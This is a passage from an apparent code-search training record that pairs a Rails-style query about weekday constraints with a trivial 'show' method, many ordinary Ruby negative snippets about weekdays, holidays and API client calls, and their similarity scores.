@fridays = Friday.all\n end", "def days_in_week(*days)\n @test_time = @time if @test_time.nil?\n x_in_list_of_y(@test_time.wday, Configuration.parse_range(days,0...7).flatten)\n end", "def list_tenant_constraints_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyInfraConstraintsApi.list_tenant_constraints ...'\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling PolicyInfraConstraintsApi.list_tenant_constraints, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling PolicyInfraConstraintsApi.list_tenant_constraints, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/infra/constraints'\n\n # query parameters\n query_params = {}\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'include_mark_for_delete_objects'] = opts[:'include_mark_for_delete_objects'] if !opts[:'include_mark_for_delete_objects'].nil?\n query_params[:'included_fields'] = opts[:'included_fields'] if !opts[:'included_fields'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort_ascending'] = opts[:'sort_ascending'] if !opts[:'sort_ascending'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ConstraintListResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyInfraConstraintsApi#list_tenant_constraints\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def list_tenant_constraints_0_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyInfraConstraintsApi.list_tenant_constraints_0 ...'\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling PolicyInfraConstraintsApi.list_tenant_constraints_0, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling PolicyInfraConstraintsApi.list_tenant_constraints_0, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/global-infra/constraints'\n\n # query parameters\n query_params = {}\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'include_mark_for_delete_objects'] = opts[:'include_mark_for_delete_objects'] if !opts[:'include_mark_for_delete_objects'].nil?\n query_params[:'included_fields'] = opts[:'included_fields'] if !opts[:'included_fields'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort_ascending'] = opts[:'sort_ascending'] if !opts[:'sort_ascending'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ConstraintListResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyInfraConstraintsApi#list_tenant_constraints_0\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def weekdays_until(other)\n return -other.weekdays_until(self) if other < self\n whole_days_to(other).count(&:weekday?)\n end", "def index\n @day_availabilities = DayAvailability.all\n\n respond_to do |format|\n format.html {redirect_to @day_availabilities.week_availability}\n # format.json { render json: @day_availability }\n end\n end", "def theory_day_params\n params.require(:theory_day).permit(:start_date, :start_time, :end_time, :repeat_weekly, :school_class_id)\n end", "def day_meetings\n days = []\n @course.weekdays.each_char.each_with_index do |w, i|\n days.push(DAYS_AS_SYM[i]) if w.to_i == 1\n end\n days\n end", "def days_of_week_are_valid\n errors.add(:days_of_week, \"The days of the week are invalid.\") unless days_of_week_are_valid?\n end", "def rule_params\n params.require(:rule).permit(\n :title,\n :reason,\n :start_date,\n :stop_date,\n :allow,\n :start_time,\n :stop_time,\n :day_mask,\n :prio,\n :room_ids => [],\n :days_array => ['0', '1', '2', '3', '4', '5', '6']\n )\n end", "def picker_weekday\n screenshot_and_raise \"weekday is not applicable to this mode\" if picker_is_in_time_mode or picker_is_in_countdown_mode\n res = query(\"datePickerWeekMonthDayView\", :weekdayLabel, :text)[2]\n # need to guard against Today showing\n res == nil ? Date.today.strftime('%a') : res\nend", "def initialize\n super\n @lower_limit = DayOfWeekLowerLimit\n @upper_limit = DayOfWeekUpperLimit\n @single_value_pattern = DayOfWeekSingleValuePattern\n @range_pattern = DayOfWeekRangePattern\n end", "def offset_of_first_weekday_before_weekday(desired_weekday, current_weekday)\n offset = offset_of_first_weekday_at_or_before_weekday(desired_weekday, current_weekday)\n offset == 0 ? -7 : offset\nend", "def next_weekday(date, weekdays)\n [weekdays].flatten.map{|wd| \n nwd = date - date.cwday + Date::WEEKDAYS.index(wd) + 1\n nwd += 7 if nwd <= date\n nwd\n }.sort[0]\n end", "def index\n @sundays = Sunday.all\n end", "def return_static_day(myday,day_map,human_label)\n\n static_day=myday\n my_1day=(60*60*24) #1 day in seconds\n\n #static holiday\n if ( myday.wday != day_map['sun'] and myday.wday != day_map['sat']) #not on a weekend\n static_day=(\"#{(myday).to_i}:#{human_label}\")\n elsif myday.wday == day_map['sun'] #push Monday after\n static_day=(\"#{(myday+my_1day).to_i}:#{human_label} Monday After\")\n elsif myday.wday == day_map['sat'] #Friday before\n static_day=(\"#{(myday-my_1day).to_i}:#{human_label} Friday Before\")\n else\n #we shouldn't see anything here\n end\n return static_day\nend", "def holidays\n ScheduleDataManager.holidays(@holiday_schedule_name)\n end", "def index\n @constraints = Constraint.all\n end", "def index\n @hospitalization_days = HospitalizationDay.all\n end", "def solver(from_date, to_date, weekday)\n result = 0\n days_to_sunday = 7 - weekday\n new_date = from_date.increment_by_days days_to_sunday\n if (new_date.day == 1)\n result = result + 1\n end\n while new_date <= to_date\n if (new_date.day == 1)\n result = result + 1\n end\n new_date = new_date.increment_by_days 7\n end\n return result\nend", "def new\n @weekday = Weekday.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @weekday }\n end\n end", "def index\n @week_days = WeekDay.all\n end", "def weekdays_until(date)\n return 0 if date <= self\n (self...date).select{|day| day.weekday?}.size\n end", "def holiday_params\n params.require(:holiday).permit(:day, :name)\n end", "def trips_by_weekday()\n TripCollection.new( @trips.select {|k, t| t.start_time.wday.between?(1,5) } )\n end", "def offset_of_first_weekday_at_or_after_weekday(desired_weekday, current_weekday)\n (desired_weekday - current_weekday + 7) % 7\nend", "def offset_of_first_weekday_at_or_before_weekday(desired_weekday, current_weekday)\n -((current_weekday - desired_weekday + 7) % 7)\nend", "def index\n @day_weeks = DayWeek.all\n end", "def sunday_params\n params.require(:sunday).permit(:issue_id, :date, :entry, :mantra, :moon_sign, :theme, :number_1, :number_2, :number_3)\n end", "def init_coefsTravelPenalty\n\t\t\n\t\tcoefs = {}\n\t\t(0..(@nbTSInOneDay-1)).each do |ts|\n\t\t\t\n\t\t\tif is_in_period('morning', ts) || is_in_period('evening', ts)\n\t\t\t\tcoefs[ts] = @inputs.time_penalty\n\t\t\t\n\t\t\telsif is_in_period('outsideRushPeriods', ts)\n\t\t\t\tcoefs[ts] = 1.0\n\t\t\tend\n\t\t\t\n\t\tend\n\t\treturn coefs\n\tend", "def entries\n uri = URI(BASE_URL + ENTRIES_ENDPOINT + days_query)\n\n make_request(uri)\n end", "def getReqStaffWithDayOff(actualRequiremnt, interval)\n\t\tdayOffCount = getDayOffCount\n\t\trequiredStaff = actualRequiremnt\n\t\tif isScheduleOnWeekEnd\n\t\t\trequiredStaff = ((actualRequiremnt*interval).to_f/(interval-dayOffCount).to_f).ceil\n\t\tend\n\t\trequiredStaff\n\tend", "def count_sundays(first, last)\r\n (first..last).select { |n| n.sunday? && n.mday == 1 }.size\r\nend", "def check_calendar_event_data_validity(event_data)\n schema =\n {\n 'type' => 'object',\n 'required' => %w(Title Description StartDateTime EndDateTime StartDay\n EndDay GroupId RecurrenceInfo HasVisibilityRestrictions\n VisibilityRestrictions CalendarEventViewUrl),\n 'properties' =>\n {\n 'Title' => { 'type' => 'integer' },\n \"Description\" => { 'type' => 'integer' },\n \"StartDateTime\" => { 'type' => %w(string nil) }, # UTCDateTime || nil\n \"EndDateTime\" => { 'type' => %w(string nil) }, # UTCDateTime || nil\n \"StartDay\" => { 'type' => %w(string nil) }, # LocalDateTime || nil\n \"EndDay\" => { 'type' => %w(string nil) }, # LocalDateTime || nil\n \"GroupId\" => { 'type' => %w(integer nil) }, # D2LID || nil\n \"RecurrenceInfo\" =>\n {\n 'type' => 'object',\n 'required' => %w(RepeatType RepeatEvery RepeatOnInfo RepeatUntilDate),\n 'properties' =>\n {\n \"RepeatType\" => { 'type' => 'integer' }, # number -- repeat type\n \"RepeatEvery\" => { 'type' => 'integer' }, # number\n \"RepeatOnInfo\" => # Calendar.RepeatOnInfo\n {\n 'type' => 'object',\n 'required' => %w(Monday Tuesday Wednesday Thursday Friday\n Saturday Sunday),\n 'properties' =>\n {\n \"Monday\" => { 'type' => 'boolean' }, # boolean\n \"Tuesday\" => { 'type' => 'boolean' }, # boolean\n \"Wednesday\" => { 'type' => 'boolean' }, # boolean\n \"Thursday\" => { 'type' => 'boolean' }, # boolean\n \"Friday\" => { 'type' => 'boolean' }, # boolean\n \"Saturday\" => { 'type' => 'boolean' }, # boolean\n \"Sunday\" => { 'type' => 'boolean' }, # boolean\n }\n },\n \"RepeatUntilDate\" => { 'type' => 'string' } # UTCDATETIME\n }\n }, # Calendar.RecurrenceInfo\n \"HasVisibilityRestrictions\" => { 'type' => 'boolean' },\n \"VisibilityRestrictions\" =>\n {\n 'type' => 'object',\n 'required' => %w(Type Range HiddenRangeUnitType StartDate EndDate),\n 'properties' =>\n {\n \"Type\" => { 'type' => 'integer' }, # <number:VISIBILITY_T>,\n \"Range\" => { 'type' => %w(integer nil) }, # <number>|null,\n \"HiddenRangeUnitType\" => { 'type' => %w(integer nil) }, # <number:HIDDENUNIT_T>|null,\n \"StartDate\" => { 'type' => %w(string nil) }, # <string:UTCDateTime>|null,\n \"EndDate\" => { 'type' => %w(string nil) } # <string:UTCDateTime>|null,\n }\n }, # Calendar.VisibilityInfo\n \"CalendarEventViewUrl\" => { 'type' => 'string' } # url\n }\n }\n JSON::Validator.validate!(schema, event_data, validate_schema: true)\nend" ]
[ "0.6874917", "0.66797906", "0.6641648", "0.6457305", "0.58466655", "0.56341594", "0.5632721", "0.5618513", "0.52801335", "0.52129275", "0.5209437", "0.52041125", "0.51893747", "0.51515067", "0.5139131", "0.5136341", "0.5133472", "0.50987536", "0.50879043", "0.50868165", "0.5035508", "0.5034559", "0.5034034", "0.5027872", "0.49853644", "0.49253914", "0.4917058", "0.49115965", "0.4908545", "0.48790216", "0.48738816", "0.48412225", "0.4831574", "0.48301587", "0.48210678", "0.48209003", "0.48166284", "0.47936782", "0.4784789", "0.47758058", "0.47749937", "0.47701168", "0.47582507", "0.47561207", "0.47512665", "0.47511682", "0.4729268", "0.47231567", "0.47214982", "0.4709033", "0.47083044", "0.46793115", "0.46736646", "0.4671603", "0.4667992", "0.46633857", "0.4657319", "0.46533176", "0.46413094", "0.4640785", "0.4639907", "0.46176392", "0.4611815", "0.46086314", "0.46041232", "0.46019122", "0.4597647", "0.45971918", "0.45952284", "0.45912597", "0.45890975", "0.45865688", "0.45847824", "0.4584249", "0.45772827", "0.45766813", "0.45659822", "0.45625994", "0.45599252", "0.45582527", "0.4553459", "0.45515758", "0.45463625", "0.45452324", "0.45427006", "0.45402423", "0.4532583", "0.45310026", "0.45251447", "0.45194775", "0.45169494", "0.45087498", "0.44964826", "0.4495995", "0.44956145", "0.44946557", "0.44932804", "0.44870856", "0.44801804", "0.44781953" ]
0.76894635
0
GET /weekday_constraints/1 GET /weekday_constraints/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @weekday_constraints = WeekdayConstraint.all\n end", "def set_weekday_constraint\n @weekday_constraint = WeekdayConstraint.find(params[:id])\n end", "def weekday_constraint_params\n params.require(:weekday_constraint).permit(:day, :name, :constraint_id, :constraint_type)\n end", "def create\n @weekday_constraint = WeekdayConstraint.new(weekday_constraint_params)\n\n respond_to do |format|\n if @weekday_constraint.save\n format.html { redirect_to @weekday_constraint, notice: 'Weekday constraint was successfully created.' }\n format.json { render :show, status: :created, location: @weekday_constraint }\n else\n format.html { render :new }\n format.json { render json: @weekday_constraint.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @weekday_constraint.update(weekday_constraint_params)\n format.html { redirect_to @weekday_constraint, notice: 'Weekday constraint was successfully updated.' }\n format.json { render :show, status: :ok, location: @weekday_constraint }\n else\n format.html { render :edit }\n format.json { render json: @weekday_constraint.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @weekday_constraint.destroy\n respond_to do |format|\n format.html { redirect_to weekday_constraints_url, notice: 'Weekday constraint was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def get_days\n return 0b0 if @params[:type] != 'advanced'\n\n return get_weekday_bitmask(['weekday_sun', 'weekday_mon', 'weekday_tue', 'weekday_wed', 'weekday_thu', 'weekday_fri', 'weekday_sat']) if @params[:schedule] == 'weekly'\n\n return get_month_bitmask(@params[:dates_picked]) if @params[:schedule] == 'monthly' && @params[:days] == 'specific'\n\n return get_unspecific_days\n\n end", "def active_weekdays\n WeekdayConfigVariable.new(name: 'ACTIVE_WEEKDAYS').weekdays\n end", "def check_time_constraints_payload(record, resp_data)\n # We never return time_constraints = null\n assert_equal record.time_constraints.count, resp_data[\"time_constraints\"].count\n for i in 0..record.time_constraints.count-1 do\n #puts record.time_constraints[i].to_json\n #puts resp_data[\"time_constraints\"][i]\n check_payload(resp_data[\"time_constraints\"][i],\n record.time_constraints[i],\n [:key_id, :start_time, :end_time, :start_offset, :end_offset], nil, nil)\n end\n end", "def day_rule\n @day_rules[@this_day.key_by_date] || @day_rules[@this_day.key_by_day]\n end", "def min_attendance_days\n [1, time_constraint(:min_days)].compact.max\n end", "def weekdays\n result = veeamconfig('schedule', 'show', '--jobId', get_job_id).lines\n\n if result[0].strip == 'Every day'\n ['daily']\n else\n result[0].strip.split(': ')[1].split(', ')\n end\n end", "def show\n @weekday = Weekday.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @weekday }\n end\n end", "def check_rest_days\n\n\t\temp=Employee.find(employee_id)\n\t\tcalendar=Calendar.where(:department_id => emp.department_id,:anio => Date.parse(desde.to_s).year.to_i).first\n if !calendar.nil?\n\n \t\tdias_requested=weekdays_in_date_range(desde..hasta,calendar)\n \t\trt=RequestType.find(request_type_id)\n \t\tdias=0\n \t\t#get all requests from employee\n requests=Request.joins(:request_type).where(:employee_id => employee_id,status: [1,2],:request_type_id => request_type_id).where('extract(year from desde)= ?',\"#{desde.year.to_i}\")\n\n \t #working days requested.\n \t requests.each do |rq| \n \t dias+=weekdays_in_date_range(rq.desde..rq.hasta,calendar)\n \t end\n\n \t #get rest days\n \t num_dias_max=Request.rest_days(desde.year.to_i,employee_id,rt.num_dias_max)\n\n \t if dias_requested>(num_dias_max-dias)\n \t errors.add(:desde,\"Debe seleccionar un periodo igual o inferior a los días restantes. (#{(num_dias_max-dias)} dias)\")\n \t end\n end\n\tend", "def get(days,start_cep,end_cep)\n self.class.get(\"/api/v1/quote/available_scheduling_dates/#{days}/#{start_cep}/#{end_cep}\")\n end", "def weekday\n fail \"A value cannot be provided for #{__method__}\" if @value\n return 'Mon..Fri'\n end", "def weekday\n fail \"A value cannot be provided for #{__method__}\" if @value\n\n 'Mon..Fri'\n end", "def weekday()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::Weekday::WeekdayRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def weekdays\n lines[1]\n end", "def list_tenant_constraints_0(opts = {})\n data, _status_code, _headers = list_tenant_constraints_0_with_http_info(opts)\n data\n end", "def weekdays=(value)\n # check if the weekdays property contains 'daily' - this will override any\n # other days that have been set\n if value.include? :daily or value.include? 'daily'\n veeamconfig('schedule', 'set', '--jobId', get_job_id, '--daily', '--at', \"#{@resource[:time]}\")\n else\n wd = value.join(',')\n veeamconfig('schedule', 'set', '--jobId', get_job_id, '--weekdays', \"#{wd}\", '--at', \"#{@resource[:time]}\")\n end\n end", "def index\n @interval_constraints = IntervalConstraint.all\n end", "def update\n @weekday = Weekday.find(params[:id])\n\n respond_to do |format|\n if @weekday.update_attributes(params[:weekday])\n format.html { redirect_to @weekday, notice: 'Weekday was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @weekday.errors, status: :unprocessable_entity }\n end\n end\n end", "def frequency_day_params\n params.require(:frequency_day).permit(:period_discipline_id, class_day: [:start, :end])\n end", "def schedule_day_params\n params.require(:schedule_day).permit(:schedule_week_id, :available_24_hours, :range_begin, :range_end, :date)\n end", "def offset_of_first_weekday_after_weekday(desired_weekday, current_weekday)\n offset = offset_of_first_weekday_at_or_after_weekday(desired_weekday, current_weekday)\n offset == 0 ? 7 : offset\nend", "def create\n @weekday = Weekday.new(params[:weekday])\n\n respond_to do |format|\n if @weekday.save\n format.html { redirect_to @weekday, notice: 'Weekday was successfully created.' }\n format.json { render json: @weekday, status: :created, location: @weekday }\n else\n format.html { render action: \"new\" }\n format.json { render json: @weekday.errors, status: :unprocessable_entity }\n end\n end\n end", "def eligibility\n respond_to :json\n @eligibility = Eligibility.find_by(client: @client, day: requested_day)\n unless @eligibility\n Rails.logger.warn \"Eligibility not pre-calculated for #{@client.id} on #{requested_day}\"\n @eligibility = EligibilityService.new(@client, requested_day, 1).run!\n end\n render json: {\n requested_day => {\n 'meetsMinimumPresence' => @eligibility.minimum_presence,\n # boolean (root)\n 'meetsFiveYearPresence' => @eligibility.five_year_presence,\n # boolean (child of root | parent of present_days_by_rolling_year)\n 'daysInNZ' => @eligibility.present_days_by_rolling_year,\n # hash of integers e.g. {'2019-06-07': 365.. } (child of five_year_presence)\n 'eachYearPresence' => @eligibility.each_year_presence,\n # boolean (child of root | parent of mimimum_presence_by_rolling_year)\n 'last5Years' => @eligibility.mimimum_presence_by_rolling_year\n # hash of booleans e.g. {'2019-06-07': true.. } (child of each_year_presence)\n }\n }\n end", "def weekdays\n wdays = []\n wdays << 0 if sun\n wdays << 1 if mon\n wdays << 2 if tue\n wdays << 3 if wed\n wdays << 4 if thu\n wdays << 5 if fri\n wdays << 6 if sat\n\n wdays\n end", "def return_static_day(myday,day_map,human_label)\n\n static_day=myday\n my_1day=(60*60*24) #1 day in seconds\n\n #static holiday\n if ( myday.wday != day_map['sun'] and myday.wday != day_map['sat']) #not on a weekend\n static_day=(\"#{(myday).to_i}:#{human_label}\")\n elsif myday.wday == day_map['sun'] #push Monday after\n static_day=(\"#{(myday+my_1day).to_i}:#{human_label} Monday After\")\n elsif myday.wday == day_map['sat'] #Friday before\n static_day=(\"#{(myday-my_1day).to_i}:#{human_label} Friday Before\")\n else\n #we shouldn't see anything here\n end\n return static_day\nend", "def weekly_availability\n return [] if course.nil?\n\n availability = [\n { day: 'monday', count: 0, start_times: [] },\n { day: 'tuesday', count: 0, start_times: [] },\n { day: 'wednesday', count: 0, start_times: [] },\n { day: 'thursday', count: 0, start_times: [] },\n { day: 'friday', count: 0, start_times: [] },\n { day: 'saturday', count: 0, start_times: [] },\n { day: 'sunday', count: 0, start_times: [] }\n ]\n\n course.plannings.order('start_time ASC, end_time ASC').each do |planning|\n next if planning.week_day.nil? or Date::DAYNAMES[planning.week_day].nil?\n course_day = Date::DAYNAMES[planning.week_day].downcase\n day_availability = availability.detect { |d| d[:day] == course_day }\n\n day_availability[:count] += 1\n day_availability[:start_times] << I18n.l(planning.start_time, format: :short) if planning.start_time\n end\n\n availability\n end", "def holiday_cannot_be_on_weekends\n if (self.date.strftime(\"%u\") == \"6\" or self.date.strftime(\"%u\") == \"7\")\n errors.add(:date, \"Holiday should not be on weekends\")\n end\n end", "def offset_of_first_weekday_before_weekday(desired_weekday, current_weekday)\n offset = offset_of_first_weekday_at_or_before_weekday(desired_weekday, current_weekday)\n offset == 0 ? -7 : offset\nend", "def parse_weekday(time)\n [file_for_day(time.strftime(\"%w\"))]\n end", "def week_days\n {\n \"1\" => 'mon',\n \"2\" => 'tue',\n \"3\" => 'wed',\n \"4\" => 'thu',\n \"5\" => 'fri',\n \"6\" => 'sat',\n \"7\" => 'sun'\n }\n end", "def shifts_on(weekday)\n shifts.where(weekday: weekday)\n end", "def weekdays\n Weekdays.new(self)\n end", "def create\n @day ||= Weekday.day\n @days ||= Weekday.days\n @batch = Weekday.set_day(params[:weekday][:batch_id], params[:weekdays])\n flash[:notice] = t('weekday_create')\n end", "def calendar_exceptions\n get '/gtfs/calendarDate'\n end", "def new\n @weekday = Weekday.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @weekday }\n end\n end", "def business_hours_on_day(date, in_time_zone)\n # puts \"in time zone #{in_time_zone}\"\n date = date.in_time_zone(in_time_zone)\n weekends = [6,7]\n if weekends.include?(date.to_date.cwday)\n return [0,0]\n end\n holidays = find_holidays_on_date(date, in_time_zone)\n if holidays.empty?\n default_business_hours\n else\n # puts \"default_business_hours: \" + default_business_hours.inspect\n start_time, end_time = default_business_hours\n effective_start = start_time\n effective_end = end_time\n holidays.each do |holiday_start, holiday_end|\n # puts \"holiday_start: #{holiday_start}\"\n # puts \"holiday_end: #{holiday_end}\"\n \n if holiday_start.to_date < date.to_date\n holiday_start = date.to_date.beginning_of_day\n end\n if holiday_end.to_date > date.to_date\n holiday_end = date.to_date.end_of_day\n end\n \n # puts \"determined holiday_start: #{holiday_start}\"\n # puts \"determined holiday_end: #{holiday_end}\" \n\n # puts \"business begins: #{date.beginning_of_day + start_time}\"\n # puts \"business ends: #{date.beginning_of_day + end_time}\"\n \n #if holiday starts before business and ends after business, return 0\n if holiday_start <= (date.beginning_of_day + start_time) && holiday_end >= (date.beginning_of_day + end_time)\n return [0,0]\n end\n #if holiday starts before business then set business day to start effectively when the holiday ends\n if holiday_start <= (date.beginning_of_day + start_time)\n # puts \"holiday starts before business then set business day to start effectively when the holiday ends\"\n # puts \"holiday_end:\" + holiday_end.inspect\n # puts \"holiday_end.beginning_of_day:\" + holiday_end.beginning_of_day.inspect\n \n seconds_for_holiday_end = seconds_from_day_start(holiday_end)\n if seconds_for_holiday_end > effective_start\n effective_start = seconds_for_holiday_end\n end\n end\n #if holiday ends after business then set business day to end effectively when the holiday start\n if holiday_end >= (date.beginning_of_day + end_time)\n # puts \"holiday ends after business then set business day to end effectively when the holiday start\"\n # puts \"holiday_start:\" + holiday_start.inspect\n # puts \"holiday_start.beginning_of_day:\" + holiday_start.beginning_of_day.inspect\n \n seconds_for_holiday_start = seconds_from_day_start(holiday_start)\n if seconds_for_holiday_start < effective_end\n effective_end = seconds_for_holiday_start\n end\n end\n end\n if effective_start > effective_end\n effective_start = effective_end\n end\n # puts \"effective start and end \" + [effective_start.to_i, effective_end.to_i].inspect\n [effective_start.to_i, effective_end.to_i]\n end\n end", "def getReqStaffWithDayOff(actualRequiremnt, interval)\n\t\tdayOffCount = getDayOffCount\n\t\trequiredStaff = actualRequiremnt\n\t\tif isScheduleOnWeekEnd\n\t\t\trequiredStaff = ((actualRequiremnt*interval).to_f/(interval-dayOffCount).to_f).ceil\n\t\tend\n\t\trequiredStaff\n\tend", "def where(constraints, *args)\n @constraints = constraints.gsub(/\\?/) do\n raise ArgumentError, \"incorrect placeholder count\" unless args.length > 0\n arg = args.shift\n arg = arg.to_xs_datetime if arg.kind_of?(Time)\n arg.to_json\n end\n end", "def day_of_week(weekdays, *extras)\n merge(day: weekdays.array_concat(extras))\n end", "def weekly_goals\n get(\"/user/#{@user_id}/activities/goals/weekly.json\")\n end", "def offset_of_first_weekday_at_or_after_weekday(desired_weekday, current_weekday)\n (desired_weekday - current_weekday + 7) % 7\nend", "def weekend_and_holiday(day)\n holiday = Holidays.on(day, :federal_reserve, :observed).any?\n weekend = day.saturday? || day.sunday?\n [weekend, holiday]\n end", "def offset_of_first_weekday_at_or_before_weekday(desired_weekday, current_weekday)\n -((current_weekday - desired_weekday + 7) % 7)\nend", "def list_tenant_constraints_0_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyInfraConstraintsApi.list_tenant_constraints_0 ...'\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling PolicyInfraConstraintsApi.list_tenant_constraints_0, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling PolicyInfraConstraintsApi.list_tenant_constraints_0, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/global-infra/constraints'\n\n # query parameters\n query_params = {}\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'include_mark_for_delete_objects'] = opts[:'include_mark_for_delete_objects'] if !opts[:'include_mark_for_delete_objects'].nil?\n query_params[:'included_fields'] = opts[:'included_fields'] if !opts[:'included_fields'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort_ascending'] = opts[:'sort_ascending'] if !opts[:'sort_ascending'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ConstraintListResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyInfraConstraintsApi#list_tenant_constraints_0\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def parse_rrule recurrence\n rule = recurrence.find do |rec|\n /\\ARRULE/.match(rec)\n end\n\n return nil unless rule\n rule = rule.split(':')[1]\n params = {\n validations: {}\n }\n\n rule.split(';').each do |rule|\n (name, value) = rule.split('=')\n value.strip!\n case name\n when 'FREQ'\n params[:freq] = value.downcase\n when 'INTERVAL'\n params[:interval] = value.to_i\n when 'COUNT'\n params[:count] = value.to_i\n when 'UNTIL'\n params[:until] = Time.parse(value).utc\n when 'WKST'\n params[:wkst] = day_to_symbol(value)\n when 'BYSECOND'\n params[:validations][:second_of_minute] = value.split(',').collect(&:to_i)\n when 'BYMINUTE'\n params[:validations][:minute_of_hour] = value.split(',').collect(&:to_i)\n when 'BYHOUR'\n params[:validations][:hour_of_day] = value.split(',').collect(&:to_i)\n when 'BYDAY'\n dows = {}\n days = []\n value.split(',').each do |expr|\n day = day_to_symbol(expr.strip[-2..-1])\n # day with occurence\n if expr.strip.length > 2\n occ = expr[0..-3].to_i\n dows[day].nil? ? dows[day] = [occ] : dows[day].push(occ)\n days.delete(to_wday(day))\n else\n days.push to_wday(day) if dows[day].nil?\n end\n end\n params[:validations][:day_of_week] = dows unless dows.empty?\n unless days.empty?\n # days = days.sort_by do |day|\n # day\n # end\n params[:validations][:day] = days\n end\n when 'BYMONTHDAY'\n params[:validations][:day_of_month] = value.split(',').collect(&:to_i)\n when 'BYMONTH'\n params[:validations][:month_of_year] = value.split(',').collect(&:to_i)\n when 'BYYEARDAY'\n params[:validations][:day_of_year] = value.split(',').collect(&:to_i)\n when 'BYSETPOS'\n else\n raise \"Invalid or unsupported rrule command: #{name}\"\n end\n end\n\n params[:interval] ||= 1\n params.delete(:wkst) unless params[:freq] == 'weekly'\n params\n end", "def index\n @constraints = Constraint.all\n end", "def schedule_params\n params.require(:schedule).permit(:week, :dayOfWeek, :beginHour, :endHour, :status)\n end", "def holiday_cannot_be_on_weekends\n if (self.date.cwday == 6 or self.date.cwday == 7)\n errors.add(:date, \"Holiday should not be on weekends\")\n end\n end", "def first_weekday_after_date(desired_weekday, date)\n offset = offset_of_first_weekday_after_weekday(desired_weekday, day_of_week(date))\n date + offset\nend", "def picker_weekday\n 